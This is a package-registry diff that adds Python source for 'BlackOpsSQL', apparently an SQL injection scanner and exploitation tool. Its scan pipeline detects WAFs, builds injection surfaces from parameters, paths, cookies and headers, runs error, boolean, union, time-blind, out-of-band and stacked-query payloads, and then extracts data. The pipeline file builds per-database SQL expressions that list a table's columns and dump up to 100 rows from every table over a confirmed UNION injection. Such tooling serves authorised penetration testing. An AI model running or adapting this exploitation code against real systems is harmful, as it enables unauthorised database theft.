blackops-sql 0.1.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,547 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """
4
+ BlackOpsSQL — engine/_scanner/pipeline.py
5
+ Scan pipeline: WAF → passive → surface building → active → time-blind → OOB.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import re
11
+ from concurrent.futures import ThreadPoolExecutor, as_completed
12
+ from typing import Any, Dict, List
13
+
14
+ from ..log import get_logger
15
+ from .. import crawler as crawler_mod
16
+ from ..http import waf_detect
17
+ from ..http.injector import Injector, parse_post_data
18
+ from ..reporter import ScanResult, ExtractionFinding, TableDumpFinding
19
+ from .options import ScanOptions
20
+ from .passive import fetch_seed, run_passive_checks
21
+ from .active import scan_param
22
+ from .blind import run_time_based, run_oob
23
+ from .stacked import run_stacked
24
+ from .extract import extract_value, extract_via_union
25
+ from blackops_payloads.sqli import get_extraction_targets
26
+
27
+ # Separators used when serialising dumped rows; chosen to be absent from normal data
28
+ _COL_SEP = "|"
29
+ _ROW_SEP = "||~~||"
30
+
31
+ logger = get_logger("blackopssql.pipeline")
32
+
33
+
34
+ def run(url: str, opts: ScanOptions, injector: Injector, result: ScanResult) -> None:
35
+
36
+ # 1. WAF detection
37
+ logger.debug("Probing for WAF on %s", url)
38
+ params = injector.get_params(url)
39
+ first_param = params[0] if params else None
40
+ waf_result = waf_detect.detect(injector, url, first_param)
41
+
42
+ if waf_result.detected:
43
+ result.waf_detected = waf_result.name
44
+ result.evasion_applied = waf_result.evasions[0] if waf_result.evasions else None
45
+ logger.warning("WAF detected: %s (confidence: %s)", waf_result.name, waf_result.confidence)
46
+ else:
47
+ logger.debug("No WAF detected")
48
+
49
+ evasions: List[str] = waf_result.evasions if waf_result.evasions else ["none"]
50
+
51
+ # 2. Passive checks
52
+ seed_resp = fetch_seed(injector, url)
53
+ run_passive_checks(url, seed_resp, injector, result)
54
+
55
+ # 3. Build injectable surfaces
56
+ surfaces: List[Dict[str, Any]] = []
57
+ for param in injector.get_params(url):
58
+ surfaces.append({"url": url, "method": "GET", "params": {param: ""}, "single_param": param})
59
+
60
+ if opts.data:
61
+ post_params = parse_post_data(opts.data)
62
+ _is_json_body = opts.data.strip().startswith("{")
63
+ for param in post_params:
64
+ surfaces.append({
65
+ "url": url, "method": "POST",
66
+ "params": post_params, "single_param": param,
67
+ "json_body": _is_json_body,
68
+ })
69
+
70
+ # Path parameter surfaces — inject into URL path segments.
71
+ # Detect :name / {name} placeholders in the path, or use --path-params names.
72
+ import urllib.parse as _up
73
+ _path_parts = _up.urlparse(url).path.split("/")
74
+ # Map param name -> segment index
75
+ _path_param_indices: dict = {}
76
+ if opts.path_params:
77
+ # User supplied explicit names; match against path parts
78
+ for _i, _part in enumerate(_path_parts):
79
+ # Strip placeholder syntax if present
80
+ _plain = _part.lstrip(":").strip("{}")
81
+ if _plain in opts.path_params:
82
+ _path_param_indices[_plain] = _i
83
+ # Also accept positional names that don't appear literally in the path
84
+ # (e.g. the user knows segment 3 is "id") — use index order as fallback
85
+ for _name in opts.path_params:
86
+ if _name not in _path_param_indices:
87
+ # Prefer numeric-looking segments (REST id values) over word segments
88
+ def _is_numeric(s: str) -> bool:
89
+ return s.lstrip("-").isdigit()
90
+ # First pass: numeric segments
91
+ for _i, _part in enumerate(_path_parts):
92
+ if (_i not in _path_param_indices.values() and _part
93
+ and not _part.startswith("{") and not _part.startswith(":")
94
+ and _is_numeric(_part)):
95
+ _path_param_indices[_name] = _i
96
+ break
97
+ # Second pass: any non-empty non-placeholder segment
98
+ if _name not in _path_param_indices:
99
+ for _i, _part in enumerate(_path_parts):
100
+ if (_i not in _path_param_indices.values() and _part
101
+ and not _part.startswith("{") and not _part.startswith(":")):
102
+ _path_param_indices[_name] = _i
103
+ break
104
+ else:
105
+ # Auto-detect :name and {name} patterns
106
+ for _i, _part in enumerate(_path_parts):
107
+ if _part.startswith(":") and len(_part) > 1:
108
+ _path_param_indices[_part[1:]] = _i
109
+ elif _part.startswith("{") and _part.endswith("}"):
110
+ _path_param_indices[_part[1:-1]] = _i
111
+
112
+ for _pname, _pidx in _path_param_indices.items():
113
+ surfaces.append({
114
+ "url": url, "method": "PATH",
115
+ "params": {_pname: _path_parts[_pidx]},
116
+ "single_param": _pname,
117
+ "path_index": _pidx,
118
+ })
119
+
120
+ # Cookie parameter surfaces — inject into specified cookie names.
121
+ if opts.cookie_params:
122
+ _cookie_jar = injector._session.cookies.get_dict() if hasattr(injector, '_session') else {}
123
+ for _cname in opts.cookie_params:
124
+ _cval = _cookie_jar.get(_cname, "")
125
+ surfaces.append({
126
+ "url": url, "method": "COOKIE",
127
+ "params": {_cname: _cval},
128
+ "single_param": _cname,
129
+ })
130
+
131
+ # HTTP header injection surfaces — inject into specified header names.
132
+ if opts.header_params:
133
+ for _hname in opts.header_params:
134
+ surfaces.append({
135
+ "url": url, "method": "HEADER",
136
+ "params": {_hname: ""},
137
+ "single_param": _hname,
138
+ })
139
+
140
+ if opts.crawl:
141
+ logger.debug("Crawling %s (max_pages=%s, depth=%s)", url, opts.max_pages, opts.max_depth)
142
+ crawl_result = crawler_mod.crawl(
143
+ start_url=url, injector=injector,
144
+ max_pages=opts.max_pages, max_depth=opts.max_depth, threads=opts.threads,
145
+ exclude_patterns=opts.exclude_patterns or [],
146
+ )
147
+ result.crawled_urls = len(crawl_result.visited_urls)
148
+ logger.debug(
149
+ "Crawled %d URLs, found %d forms",
150
+ result.crawled_urls, len(crawl_result.form_targets),
151
+ )
152
+ for page_url, page_params in crawl_result.url_params:
153
+ for param in page_params:
154
+ surfaces.append({
155
+ "url": page_url, "method": "GET",
156
+ "params": {param: ""}, "single_param": param,
157
+ })
158
+ for form in crawl_result.form_targets:
159
+ for param in form.params:
160
+ surfaces.append({
161
+ "url": form.action, "method": form.method,
162
+ "params": {**form.base_data, **form.params}, "single_param": param,
163
+ })
164
+ # Level 2: probe numeric path segments discovered via <code> tags or
165
+ # other non-href links (e.g. /api/items/1 → inject into "1").
166
+ if opts.level >= 2:
167
+ seen_path_surfaces: set = set()
168
+ for pp_url in crawl_result.path_param_candidates:
169
+ _pp_parts = _up.urlparse(pp_url).path.split("/")
170
+ for _i, _part in enumerate(_pp_parts):
171
+ if _part and _part.lstrip("-").isdigit():
172
+ _key = (pp_url, _i)
173
+ if _key not in seen_path_surfaces:
174
+ seen_path_surfaces.add(_key)
175
+ surfaces.append({
176
+ "url": pp_url, "method": "PATH",
177
+ "params": {"id": _part},
178
+ "single_param": "id",
179
+ "path_index": _i,
180
+ })
181
+ break # inject only the first numeric segment
182
+ else:
183
+ pass # crawler not enabled; surfaces already built from URL params and POST data
184
+
185
+ # Deduplicate: the BFS crawler re-visits the seed URL, re-adding its params.
186
+ _seen_surfaces: set = set()
187
+ _deduped: list = []
188
+ for _s in surfaces:
189
+ _key = (_s["url"], _s["method"], _s["single_param"])
190
+ if _key not in _seen_surfaces:
191
+ _seen_surfaces.add(_key)
192
+ _deduped.append(_s)
193
+ surfaces = _deduped
194
+
195
+ if surfaces:
196
+ logger.info("%d injectable surface(s) identified", len(surfaces))
197
+ else:
198
+ logger.debug("0 injectable surfaces identified")
199
+ result.params_tested = len(surfaces)
200
+
201
+ # 4. Active: error-based + boolean + union (threaded)
202
+ if opts.use_error or opts.use_boolean or opts.use_union:
203
+ with ThreadPoolExecutor(max_workers=opts.threads) as pool:
204
+ futs = [
205
+ pool.submit(scan_param, s, evasions, opts, injector, result)
206
+ for s in surfaces
207
+ ]
208
+ for f in as_completed(futs):
209
+ try:
210
+ f.result()
211
+ except Exception as exc:
212
+ result.append_error(str(exc))
213
+
214
+ # 5. Time-based blind (sequential — timing sensitive, threading skews results)
215
+ if opts.use_time:
216
+ confirmed = {
217
+ (f.url, f.parameter, f.method)
218
+ for lst in (result.error_based, result.boolean_based, result.union_based)
219
+ for f in lst
220
+ }
221
+ time_surfaces = [
222
+ s for s in surfaces
223
+ if (s["url"], s["single_param"], s["method"]) not in confirmed
224
+ ]
225
+ logger.debug("Running time-based blind detection (%d surfaces)", len(time_surfaces))
226
+ for surface in time_surfaces:
227
+ try:
228
+ run_time_based(surface, evasions, opts, injector, result)
229
+ except Exception as exc:
230
+ result.append_error(str(exc))
231
+
232
+ # 6. OOB injection (threaded — fire and forget)
233
+ if opts.use_oob:
234
+ logger.info("Injecting OOB payloads (callback: %s)", opts.oob_callback)
235
+ with ThreadPoolExecutor(max_workers=opts.threads) as pool:
236
+ futs = [
237
+ pool.submit(run_oob, s, evasions, opts, injector, result)
238
+ for s in surfaces
239
+ ]
240
+ for f in as_completed(futs):
241
+ try:
242
+ f.result()
243
+ except Exception as exc:
244
+ result.append_error(str(exc))
245
+
246
+ # 7. Stacked (batched) queries (sequential — order matters for detection)
247
+ if opts.use_stacked:
248
+ logger.debug("Running stacked query detection (%d surfaces)", len(surfaces))
249
+ for surface in surfaces:
250
+ try:
251
+ run_stacked(surface, evasions, opts, injector, result)
252
+ except Exception as exc:
253
+ result.append_error(str(exc))
254
+
255
+ # 8. Exploitation — extract proof-of-impact data via confirmed injection
256
+ if opts.exploit and (result.boolean_based or result.time_based
257
+ or result.union_based or result.error_based):
258
+ _run_exploit(url, opts, evasions, injector, result, surfaces)
259
+
260
+
261
+ def _columns_expr(table: str, dbms: str) -> str:
262
+ """Return a scalar SQL expression that yields comma-separated column names for *table*."""
263
+ if dbms == "sqlite":
264
+ return f"(SELECT GROUP_CONCAT(name,',') FROM pragma_table_info('{table}'))"
265
+ if dbms in ("postgres", "postgresql"):
266
+ return (
267
+ f"(SELECT STRING_AGG(column_name,',' ORDER BY ordinal_position)"
268
+ f" FROM information_schema.columns"
269
+ f" WHERE table_schema='public' AND table_name='{table}')"
270
+ )
271
+ if dbms == "mssql":
272
+ return (
273
+ f"(SELECT STRING_AGG(column_name,',')"
274
+ f" WITHIN GROUP (ORDER BY ordinal_position)"
275
+ f" FROM information_schema.columns WHERE table_name='{table}')"
276
+ )
277
+ if dbms == "oracle":
278
+ return (
279
+ f"(SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_id)"
280
+ f" FROM all_tab_columns WHERE table_name=UPPER('{table}'))"
281
+ )
282
+ # mysql / mariadb / auto
283
+ return (
284
+ f"(SELECT GROUP_CONCAT(column_name ORDER BY ordinal_position SEPARATOR ',')"
285
+ f" FROM information_schema.columns"
286
+ f" WHERE table_schema=DATABASE() AND table_name='{table}')"
287
+ )
288
+
289
+
290
+ def _dump_expr(table: str, columns: List[str], dbms: str, limit: int = 100) -> str:
291
+ """Return a scalar SQL expression that GROUP_CONCATs all rows from *table*."""
292
+ if not columns:
293
+ return ""
294
+ if dbms == "sqlite":
295
+ # COALESCE required: any NULL in the chain makes the whole row NULL and
296
+ # GROUP_CONCAT silently drops it. Subquery needed so LIMIT restricts
297
+ # input rows rather than the single aggregate output row.
298
+ cols = f"||'{_COL_SEP}'||".join(f"COALESCE(CAST(\"{c}\" AS TEXT),'')" for c in columns)
299
+ return (
300
+ f"(SELECT GROUP_CONCAT(c,'{_ROW_SEP}')"
301
+ f" FROM (SELECT {cols} AS c FROM \"{table}\" LIMIT {limit}) _t)"
302
+ )
303
+ if dbms in ("postgres", "postgresql"):
304
+ cols = f"||'{_COL_SEP}'||".join(f"COALESCE(CAST(\"{c}\" AS TEXT),'')" for c in columns)
305
+ return (
306
+ f"(SELECT STRING_AGG({cols},'{_ROW_SEP}')"
307
+ f" FROM (SELECT * FROM \"{table}\" LIMIT {limit}) _t)"
308
+ )
309
+ if dbms == "mssql":
310
+ cols = "+'|'+".join(f"ISNULL(CAST([{c}] AS NVARCHAR(MAX)),'')" for c in columns)
311
+ return (
312
+ f"(SELECT STRING_AGG({cols},'{_ROW_SEP}')"
313
+ f" FROM (SELECT TOP {limit} * FROM [{table}]) _t)"
314
+ )
315
+ if dbms == "oracle":
316
+ cols = f"||'{_COL_SEP}'||".join(
317
+ f"NVL(CAST(\"{c}\" AS VARCHAR2(4000)),'')" for c in columns
318
+ )
319
+ return (
320
+ f"(SELECT LISTAGG({cols},'{_ROW_SEP}') WITHIN GROUP (ORDER BY 1)"
321
+ f" FROM (SELECT * FROM \"{table}\" WHERE ROWNUM<={limit}))"
322
+ )
323
+ # mysql / mariadb / auto
324
+ cols = ",".join(f"IFNULL(CAST(`{c}` AS CHAR),'')" for c in columns)
325
+ return (
326
+ f"(SELECT GROUP_CONCAT(CONCAT_WS('{_COL_SEP}',{cols}) SEPARATOR '{_ROW_SEP}')"
327
+ f" FROM (SELECT * FROM `{table}` LIMIT {limit}) _t)"
328
+ )
329
+
330
+
331
+ def _dump_table_union(
332
+ table: str,
333
+ union_finding: Any,
334
+ surface: Dict[str, Any],
335
+ evasions: List[str],
336
+ opts: ScanOptions,
337
+ injector: Injector,
338
+ result: ScanResult,
339
+ ) -> None:
340
+ """Dump all rows of *table* using the confirmed UNION injection."""
341
+ dbms = (result.dbms_detected or opts.dbms or "auto").lower()
342
+
343
+ # Phase 1 — discover columns
344
+ col_expr = _columns_expr(table, dbms)
345
+ cols_raw = extract_via_union(
346
+ expr=col_expr,
347
+ union_finding=union_finding,
348
+ surface=surface,
349
+ evasions=evasions,
350
+ opts=opts,
351
+ injector=injector,
352
+ )
353
+ if not cols_raw:
354
+ logger.warning("dump: could not retrieve columns for table %s", table)
355
+ return
356
+ columns = [c.strip() for c in cols_raw.split(",") if c.strip()]
357
+ logger.info("dump: %s columns=%s", table, columns)
358
+
359
+ # Phase 2 — extract rows
360
+ row_expr = _dump_expr(table, columns, dbms)
361
+ if not row_expr:
362
+ return
363
+ raw = extract_via_union(
364
+ expr=row_expr,
365
+ union_finding=union_finding,
366
+ surface=surface,
367
+ evasions=evasions,
368
+ opts=opts,
369
+ injector=injector,
370
+ )
371
+ rows: List[List[str]] = []
372
+ if raw:
373
+ rows = [r.split(_COL_SEP) for r in raw.split(_ROW_SEP) if r]
374
+ logger.info("dump: %s rows=%d", table, len(rows))
375
+
376
+ result.table_dumps.append(TableDumpFinding(
377
+ table=table,
378
+ columns=columns,
379
+ rows=rows,
380
+ url=union_finding.url,
381
+ parameter=union_finding.parameter,
382
+ method=union_finding.method,
383
+ ))
384
+
385
+
386
+ def _run_exploit(
387
+ url: str,
388
+ opts: ScanOptions,
389
+ evasions: List[str],
390
+ injector: Injector,
391
+ result: ScanResult,
392
+ surfaces: List[Dict[str, Any]],
393
+ ) -> None:
394
+ """Extract proof-of-impact data and optionally dump tables."""
395
+
396
+ dbms = (result.dbms_detected or opts.dbms or "auto").lower()
397
+ targets = get_extraction_targets(dbms)
398
+
399
+ # Prefer UNION extraction (one request per target, no binary search).
400
+ # Sort: findings with actual marker reflection first (they have a known
401
+ # reflectable column); HTTP-500-only findings are last (no direct output).
402
+ if result.union_based:
403
+ _ranked = sorted(
404
+ result.union_based,
405
+ key=lambda f: 1 if "[HTTP 500" in (f.extracted or "") else 0,
406
+ )
407
+ union_finding = _ranked[0]
408
+
409
+ surface = next(
410
+ (s for s in surfaces
411
+ if s["url"] == union_finding.url
412
+ and s["single_param"] == union_finding.parameter
413
+ and s["method"] == union_finding.method),
414
+ None,
415
+ )
416
+ if surface is not None:
417
+ logger.info("Extracting %d target(s) via UNION on %s [%s]",
418
+ len(targets), union_finding.parameter, union_finding.url)
419
+ for label, expr in targets:
420
+ try:
421
+ value = extract_via_union(
422
+ expr=expr,
423
+ union_finding=union_finding,
424
+ surface=surface,
425
+ evasions=evasions,
426
+ opts=opts,
427
+ injector=injector,
428
+ )
429
+ if value:
430
+ logger.info("[EXTRACTED] %s = %s", label, value)
431
+ result.extracted.append(ExtractionFinding(
432
+ url=union_finding.url,
433
+ parameter=union_finding.parameter,
434
+ method=union_finding.method,
435
+ expr=expr,
436
+ value=value,
437
+ mode="union",
438
+ ))
439
+ else:
440
+ logger.debug("extract: no value returned for %s", label)
441
+ except Exception as exc:
442
+ result.append_error(f"Extraction failed ({label}): {exc}")
443
+
444
+ # Table dump(s)
445
+ tables_to_dump: List[str] = []
446
+ if opts.dump:
447
+ tables_to_dump.append(opts.dump)
448
+ if opts.dump_all:
449
+ # Re-use the already-extracted tables value when possible
450
+ tables_expr = next((e for lbl, e in targets if lbl == "tables"), None)
451
+ tables_val = next(
452
+ (f.value for f in result.extracted if f.expr == tables_expr),
453
+ None,
454
+ )
455
+ if not tables_val and tables_expr:
456
+ try:
457
+ tables_val = extract_via_union(
458
+ expr=tables_expr,
459
+ union_finding=union_finding,
460
+ surface=surface,
461
+ evasions=evasions,
462
+ opts=opts,
463
+ injector=injector,
464
+ )
465
+ except Exception as exc:
466
+ result.append_error(f"dump-all: table list extraction failed: {exc}")
467
+ if tables_val:
468
+ for tbl in tables_val.split(","):
469
+ tbl = tbl.strip()
470
+ if tbl and tbl not in tables_to_dump:
471
+ tables_to_dump.append(tbl)
472
+
473
+ for tbl in tables_to_dump:
474
+ try:
475
+ _dump_table_union(tbl, union_finding, surface, evasions, opts, injector, result)
476
+ except Exception as exc:
477
+ result.append_error(f"Dump failed ({tbl}): {exc}")
478
+
479
+ return
480
+
481
+ # Fall back to boolean / time-blind extraction (dump not supported over blind)
482
+ best_finding = None
483
+ mode = "boolean"
484
+ if result.boolean_based:
485
+ best_finding = result.boolean_based[0]
486
+ elif result.time_based:
487
+ best_finding = result.time_based[0]
488
+ mode = "time"
489
+
490
+ if best_finding is None:
491
+ return
492
+
493
+ surface = next(
494
+ (s for s in surfaces
495
+ if s["url"] == best_finding.url
496
+ and s["single_param"] == best_finding.parameter
497
+ and s["method"] == best_finding.method),
498
+ None,
499
+ )
500
+ if surface is None:
501
+ return
502
+
503
+ try:
504
+ from .active import _fetch
505
+ baseline_resp = _fetch(
506
+ injector, best_finding.url, best_finding.method,
507
+ surface["params"], best_finding.parameter, "",
508
+ json_body=surface.get("json_body", False),
509
+ path_index=surface.get("path_index", 0),
510
+ )
511
+ baseline = baseline_resp if baseline_resp is not None else ""
512
+ except Exception:
513
+ baseline = ""
514
+
515
+ if opts.dump or opts.dump_all:
516
+ logger.warning(
517
+ "Table dump requires UNION-based injection; no UNION finding available — skipping dump"
518
+ )
519
+
520
+ logger.info("Extracting %d target(s) via %s-blind on %s [%s]",
521
+ len(targets), mode, best_finding.parameter, best_finding.url)
522
+
523
+ for label, expr in targets:
524
+ try:
525
+ value = extract_value(
526
+ expr=expr,
527
+ surface=surface,
528
+ evasions=evasions,
529
+ opts=opts,
530
+ injector=injector,
531
+ baseline=baseline,
532
+ mode=mode,
533
+ )
534
+ if value:
535
+ logger.info("[EXTRACTED] %s = %s", label, value)
536
+ result.extracted.append(ExtractionFinding(
537
+ url=best_finding.url,
538
+ parameter=best_finding.parameter,
539
+ method=best_finding.method,
540
+ expr=expr,
541
+ value=value,
542
+ mode=mode,
543
+ ))
544
+ else:
545
+ logger.debug("extract: no value returned for %s", label)
546
+ except Exception as exc:
547
+ result.append_error(f"Extraction failed ({label}): {exc}")
@@ -0,0 +1,131 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """
4
+ BlackOpsSQL — engine/_scanner/stacked.py
5
+ Stacked (batched) query SQLi detection.
6
+
7
+ Stacked queries inject a second statement after the primary query using a
8
+ semicolon terminator. Not all databases or application frameworks support
9
+ this: Oracle never does, and MySQL only supports it through certain PHP/Python
10
+ APIs. When supported, stacked queries enable powerful post-exploitation
11
+ capabilities (WAITFOR DELAY, xp_cmdshell, schema enumeration).
12
+
13
+ Detection approach:
14
+ 1. Inject safe stacked payloads (SELECT 1, SELECT version() etc.).
15
+ 2. A confirmed stacked finding requires a response difference from baseline
16
+ (for data-returning payloads) OR a timing signal (for WAITFOR / SLEEP).
17
+ 3. For databases that return data, try to extract the stacked result.
18
+ """
19
+
20
+ from __future__ import annotations
21
+
22
+ from typing import Any, Dict, List, Optional
23
+
24
+ from ..log import get_logger
25
+ from ..reporter import StackedFinding, ScanResult
26
+ from ..http.injector import Injector
27
+ from ..http.waf_detect import EVASION_NONE
28
+ from .options import ScanOptions
29
+ from .payloads import apply_evasion, get_stacked_payloads
30
+ from .active import _fetch, _diff_score, _detect_db_error
31
+ from .blind import _timed_fetch
32
+
33
+ logger = get_logger("blackopssql.stacked")
34
+
35
+ # Minimum diff score to consider a stacked query as having caused a response change
36
+ _STACKED_DIFF_THRESHOLD = 0.05
37
+
38
+
39
+ def run_stacked(
40
+ surface: Dict[str, Any],
41
+ evasions: List[str],
42
+ opts: ScanOptions,
43
+ injector: Injector,
44
+ result: ScanResult,
45
+ ) -> None:
46
+ """Test a single surface for stacked (batched) query SQLi."""
47
+ url = surface["url"]
48
+ method = surface["method"]
49
+ params = surface["params"]
50
+ param = surface["single_param"]
51
+ json_body = surface.get("json_body", False)
52
+ path_index = surface.get("path_index", 0)
53
+ second_url = getattr(opts, "second_url", "")
54
+
55
+ dbms = result.dbms_detected or opts.dbms
56
+
57
+ payloads = get_stacked_payloads(dbms, opts.risk)
58
+ if not payloads:
59
+ # Oracle (and unknown DBMS with no payloads) — skip
60
+ return
61
+
62
+ # Baseline (used for content-diff payloads)
63
+ baseline = _fetch(injector, url, method, params, param, None,
64
+ second_url=second_url, json_body=json_body,
65
+ path_index=path_index)
66
+ if baseline is None:
67
+ return
68
+
69
+ _prev_count = len(result.stacked)
70
+
71
+ for evasion in (evasions if evasions else [EVASION_NONE]):
72
+ for raw_payload in payloads:
73
+ payload = apply_evasion(raw_payload, evasion)
74
+
75
+ # Determine whether this payload relies on timing (SLEEP/WAITFOR)
76
+ # or content diff (data-returning stacked SELECT).
77
+ _is_timing = any(kw in raw_payload.lower() for kw in ("sleep(", "waitfor delay"))
78
+
79
+ confirmed = False
80
+ evidence = ""
81
+
82
+ if _is_timing:
83
+ # Timing-based stacked detection: measure elapsed time
84
+ elapsed = _timed_fetch(
85
+ injector, url, method, params, param, payload,
86
+ second_url=second_url, json_body=json_body, path_index=path_index,
87
+ )
88
+ if elapsed is None or elapsed < opts.time_threshold:
89
+ continue
90
+ # Confirm with a second request
91
+ elapsed2 = _timed_fetch(
92
+ injector, url, method, params, param, payload,
93
+ second_url=second_url, json_body=json_body, path_index=path_index,
94
+ )
95
+ if elapsed2 is None or elapsed2 < opts.time_threshold:
96
+ continue
97
+ confirmed = True
98
+ else:
99
+ resp = _fetch(injector, url, method, params, param, payload,
100
+ second_url=second_url, json_body=json_body,
101
+ path_index=path_index)
102
+ if resp is None:
103
+ continue
104
+ # A stacked syntax error means the DB does not support stacked queries
105
+ err_dbms, _ = _detect_db_error(resp)
106
+ if err_dbms:
107
+ continue
108
+ score = _diff_score(baseline, resp)
109
+ if score >= _STACKED_DIFF_THRESHOLD:
110
+ confirmed = True
111
+ evidence = resp[:200]
112
+
113
+ if confirmed:
114
+ logger.finding(
115
+ "Stacked query SQLi: %s param=%s payload=%s",
116
+ url, param, payload,
117
+ )
118
+ result.append_stacked(StackedFinding(
119
+ url=url,
120
+ parameter=param,
121
+ method=method,
122
+ payload=payload,
123
+ dbms=dbms,
124
+ evidence=evidence,
125
+ ))
126
+ if result.dbms_detected is None and dbms not in ("auto", "unknown", ""):
127
+ result.dbms_detected = dbms
128
+ return # one finding per param
129
+
130
+ if len(result.stacked) > _prev_count:
131
+ break
@@ -0,0 +1,7 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """BlackOpsSQL — engine/crawler.py (delegates to blackops-core)."""
4
+
5
+ from blackops_core.crawler import CrawlResult, FormTarget, crawl
6
+
7
+ __all__ = ["CrawlResult", "FormTarget", "crawl"]
File without changes